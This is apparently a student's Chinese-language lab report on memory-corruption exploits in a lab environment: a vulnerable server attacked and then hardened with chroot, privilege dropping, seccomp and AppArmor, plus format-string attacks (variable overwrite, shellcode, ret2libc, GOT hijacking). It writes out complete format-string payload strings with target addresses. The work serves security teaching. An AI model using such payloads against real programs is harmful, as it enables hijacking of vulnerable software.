前言

编译server时,会报错

fatal error: bits/libc-header-start.h: 没有那个文件或目录

可以通过以下命令完善lib

sudo apt-get install gcc-multilib
sudo apt-get install g++-multilib

这个时候可以成功编译server了

Task 1

首先为 touchstone 程序添加 setuid root 权限,并执行

image-20230530194727543

在/tmp目录下创建test.txt文件,并将其 owner 改成 root

touch /tmp/test.txt
sudo chown root /tmp/test.txt

image-20230530195032693

接下来修改exploit代码,需要修正lib的地址和一些函数的偏移地址

image-20230530195610329

image-20230530195751269

其中frame pointer的值server已经给出(非常节约任务量)

image-20230530200053028

修改后的exploit代码如下(记得把ul_arg取消注释)

image-20230530201147068

运行python3 exploit-template.py 127.0.0.1 80,/tmp目录下的test.txt成功删除!

image-20230530201017054

Task 2

修改server程序,添加chroot支持(记得重新编译)

image-20230531095722163

使用chroot-setup.sh改变root directory为/jali,并在jali中启动server

chmod +x chroot-setup.sh chroot-copy.sh
sudo ./chroot-setup.sh
cd /jail
sudo ./touchstone

执行chroot-setup.sh脚本,注意这里如果系统选的中文,那么需要注释掉sh脚本中的开始的特权级判断

#!/bin/sh -x
# if id | grep -qv uid=0; then
#     echo "Must run setup as root"
#     exit 1
# fi

image-20230531093934005

image-20230531093719225

运行touchstone程序,并更新exploit程序中的lib基地址(因为用到的lib已经复制到了jail目录下,位置已经发生改变)和frame base

# 查看基地址
ps -ef | grep banksv
sudo gdb
attach xxxx # banksv's pid
info proc mappings

image-20230531095946332

image-20230531100028392

image-20230531100116305

再次执行攻击,发现无法删除/tmp下的test.txt文件

image-20230531100440153

Task 3

修改server源码,在提示的三个地方使用setresuid(1000,1000,1000)设置为普通用户权限.重新编译

image-20230531101445736

修改exploit代码中的framebase和基地址,执行攻击。发现无法删除root用户的test.txt文件

image-20230531103109322

Task 4

首先安装seccomp库

sudo apt install libseccomp-dev libseccomp2 seccomp
sudo apt-get install libseccomp-dev:i386

默认拒绝 显示允许

修改banksv.c代码如下,添加如下代码。实现系统调用的默认拒绝,以及对于unlink的显式允许。

void Seccomp(){
  // init seccomp
  scmp_filter_ctx ctx;
  // 默认拒绝
  ctx = seccomp_init(SCMP_ACT_KILL);
  // permit unlink
  int rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW,SCMP_SYS(unlink), 0);
  
  seccomp_load(ctx);
  seccomp_release(ctx);
}

修改Makefile中编译banksv的选项,添加-l seccomp

image-20230531110632605

重新编译后,可以看到bansv的动态库使用的是i386的文件,这个时候可以按照Task 1的思路重新确定exploit代码中的各个偏移

image-20230531110846541

image-20230531111402542

修改exploit脚本并运行,/tmp下的test.txt成功删除

image-20230531113027368

默认允许 显示拒绝

修改banksv.c代码如下。实现系统调用的默认允许,以及对于unlink的显式拒绝。

image-20230531114912951

再次使用exploit脚本进行攻击,发现无法删除test.txt

image-20230531120828308

Task 5

首先安装apparmor拓展

sudo apt install apparmor-utils

允许server,并使用aa-genprofbanksv生成profile

image-20230531150427398

image-20230531152128143

重新加载配置文件

sudo systemctl reload apparmor.service

通过aa-status指令可以看到刚刚给banksv创建的profile成功被加载

image-20230531152232711

执行exploit脚本,无法删除文件,并且通过dmesg打印系统消息可以看到banksv的行为被apparmorDENIED,无法删除test.txt

image-20230531151348653

实验设置

平台:Ubuntu Seed 16.04

任务1

修改var值为0x66887799

①首先编译prog1程序

image-20230522094818281

②关闭ASLR,并利用printf函数的格式化漏洞,打印程序的栈信息。可以看到在打印第5个%08x时出现变量var的值。

image-20230522095115252

③开始构造输入,首先需要将var的值改为0x66887799。采用%hn进行分步修改(一次覆盖2个字节)。根据prog1的输出可以知道var的地址为0xbfffed54,由于计算机一般是小端存储,所以0x6688需要覆盖0xbfffed56开始的两个字节,0x7799则覆盖0xbfffed54开始的两个字节。

④首先输入需要先通过$(printf "\x56\xed\xff\xbf@@@@\x54\xed\xff\xbf")构造%hn写入的内存地址,并且在两个需要写入的地址中间用@@@@分割,这个主要是为了插入%.nx来调整第二个地址写入的值,其中n是两个写入值的差值。

⑤接下来需要构造差值,输入除了刚开始的地址外(12 bytes),还有4个%.8x(32 bytes)调整va_list,那么输入已经有了44个字符,而需要写入的值是0x6688(26248),所以接下来的%x长度为26248-44 = 26204;同理两个地址之间的%x长度为0x7799(30617)-26248=4369。

最后可以得到构造好的输入

$(printf "\x56\xed\xff\xbf@@@@\x54\xed\xff\xbf")%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn 

⑥将该输入写入prog1,发现var变量成功被修改为0x66887799

image-20230522100333626

修改var值为0xdeadbeef

①接下来将var修改为0xdeadbeef,这个问题在于0xdead大于0xbeef,即按照刚刚的思路,写入0xdead时,总的字符长度已经大于0xbeef了,无法再通过%hn的方式写入。因此可以将0xbeef看作0x1beef。因为通过%hn实际写入内存的低两个字节,所以这个最高位的1会被忽略。

那么参照刚刚类似的计算,可以得到两个参数

$$ 0xDEAD = 57005,0x1BEEF = 114415\\ \delta x_1 = 57005-44 = 56961,\delta x_2 = 114415-47005 = 57410 $$

②填入相应参数,得到如下exploit程序

image-20230522101733800

③执行脚本,可以发现var变量成功改为0xdeadbeef

image-20230522101807712

任务2

shellcode利用

①开启 Stack Guard 保护,并关闭栈不可执行保护,编译程序prog2

image-20230522102301109

②简单运行prog2程序,发现输入字符串的写入地址为0xbfffed04,运行fmtstr函数时的ebp为0xbfffece8.

image-20230522102428908

③首先构造恶意shellcode用于获取shell,这部分实验材料已经给出。其次需要计算shellcode开始位置的地址,用于跳转。首先知道input的首地址为0xbfffed04,而shellcode的开始地址为下图程序中的start位置(运行后为176),所以shellcode在程序中的位置应该是0xbfffed04+176(dec)=0xbfffedab

④得到恶意shellcode的地址后,需要寻找函数返回地址的地址,并将该地址覆盖为恶意shellcode的地址。这个地址其实就是ebp+4,即0xbfffecec。参照之前写入的格式,通过%k$hn简化输入。(k表示va_list的第k个参数,等价于前面有k个%x)。这个k值可以通过打印栈内容得到,如下图。k分别是17和19(0xbfffecee0xbfffecec)。

image-20230522103530874

⑤最终脚本如下,运行后可以成功获得prog2的shell。

image-20230522102411629

image-20230522103653139

ret2lib利用

①开启 Stack Guard 保护,并开启栈不可执行保护,编译prog2程序。

image-20230522103805299

②接下来寻找system、exit、"/bin/bash"的地址,用于ret2libc的攻击。

image-20230522103853282

③得到函数地址如下

functionaddress
system0xb7da4da0
exit0xb7d989d0
“/bin/sh”0xb7ec582b

④运行程序,可以得到ebp的基地址0xbfffece8,那么为了实现ret2libc攻击,栈中的地址安排应该如下表。

addressvalue
ebp+4(0xbfffecec)0xb7da4da0
ebp+8(0xbfffecf0)0xb7d989d0
ebp+12(0xbfffecf4)0xb7ec582b

⑤采用刚才的%hn分段写入方法,那么应该写入以下六个地址。表已经按照value值从小到大排序,这也是构造输入时的顺序。

addressvalue
0xbfffecec0x4da0
0xbfffecf40x582b
0xbfffecf00x89d0
0xbfffecf20xb7d9
0xbfffecee0xb7da
0xbfffecf60xb7ec

⑥构造输入,计算差值,最终得到的input如下

echo $(printf "\xec\xec\xff\xbf@@@@\xf4\xec\xff\xbf@@@@\xf0\xec\xff\xbf@@@@\xf2\xec\xff\xbf@@@@\xee\xec\xff\xbf@@@@\xf6\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.19692x%hn_%.2698x%hn_%.12708x%hn_%.11784x%hn_%hn_%.17x%hn > badfile

⑦使用该输入进行测试,出现段错误,无法排除故障。去掉exit函数再次测试(少写入两个地址),重新计算差值,得到以下input。利用该input进行实验,成功获得shell!至于写入exit函数为什么会发生段错误,原因暂时没找到...

echo $(printf "\xec\xec\xff\xbf@@@@\xf4\xec\xff\xbf@@@@\xee\xec\xff\xbf@@@@\xf6\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.19708x%hn_%.2698x%hn_%.24494x%hn_%.17x%hn > badfile

image-20230522105203872

任务3

①本任务需要通过 GOT 表劫持,调用 win 函数。要求启 Stack Guard 保护,并开启栈不可执行保护,开启ASLR。

image-20230522105444423

②使用gdb确认win函数地址。这个地址不会受ASLR影响。

image-20230522105618718

③接下来考虑劫持print函数的got表,首先可以在fmtstr函数的第一个print函数打下断点。得到printf@plt的地址为0x80483a0

image-20230522110425495

④在该处打下断点动态调试。可以看到第一条jump语句就跳转到printf的got表。当然由于got表动态加载的特性,此时got表的内容就是printf@plt的下一条指令地址。

image-20230522110551386

image-20230522110645767

⑤接下来需要实现printf函数got表劫持。即将0x804a00c处的地址改为win函数入口0x804850b。代码与之前的攻击基本一致

image-20230522111122947

⑥运行结果如下,printf函数成功被劫持为win函数

image-20230522111002243